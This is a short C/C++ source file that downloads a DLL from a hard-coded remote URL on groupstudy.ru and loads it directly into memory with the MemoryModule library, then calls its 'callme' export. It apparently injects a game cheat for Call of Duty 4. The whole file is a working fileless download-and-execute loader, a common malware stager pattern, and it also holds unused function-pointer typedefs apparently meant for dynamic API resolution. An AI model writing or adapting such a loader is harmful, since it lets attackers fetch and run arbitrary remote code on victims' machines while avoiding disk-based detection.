//c
#include <assert.h>
#include <windows.h>

//demands linked ininet.lib
#include <wininet.h>

typedef PVOID HINTERNET;
typedef HINTERNET(WINAPI *InetOpenA)(LPCTSTR, char*, char*, char*, char*); //InterNetOpenA
typedef HINTERNET(WINAPI *InetOpenUrlA) (HINTERNET, LPCSTR, char*, char*, char*, char*); //InternetOpenUrlA
typedef BOOL(WINAPI *InetReadFile) (HINTERNET, LPVOID, DWORD, LPDWORD); //InternetReadFileA
typedef HANDLE(WINAPI *CreatFile) (LPCTSTR, int, int, int, int, int, int); //CreateFileA
typedef BOOL(WINAPI *WritFile) (HANDLE, LPCVOID, int, LPDWORD, int); //WriteFileA

//c++
#include <vector>
#include <iostream>
using std::vector;
typedef BYTE byte;// BYTE does not look cool

//open source lib
#include "MemoryModule.h"

void inject(vector<byte>&& internal_dll){
    auto handle = MemoryLoadLibrary(&internal_dll[0], internal_dll.size());
    assert(handle != nullptr);
    auto callme_f = reinterpret_cast<void(*)()>(MemoryGetProcAddress(handle, "callme"));
    callme_f();
    MemoryFreeLibrary(handle);
}

vector<byte> download(wchar_t* link){
    vector<byte> res;
    byte buffer[2048];

    auto InternetHandle = InternetOpen(L"anon", 0, nullptr, nullptr, 0);
    assert(InternetHandle != nullptr);
    auto UrlHandle = InternetOpenUrl(InternetHandle, link, nullptr, 0, 0, 0);

    DWORD bytes_next = -1;
    while (bytes_next != 0){
        auto success = InternetReadFile(UrlHandle, buffer, sizeof(buffer), &bytes_next);
        assert(success);
        res.insert(res.end(), buffer, buffer + bytes_next);
    }

    //CloseHandle(UrlHandle);       those do not work correctly for some reason lol
    //CloseHandle(InternetHandle);
    return res;
}

int main() {
    auto file = download(L"https://groupstudy.ru/cod4dll.dll");
    inject(std::move(file));
}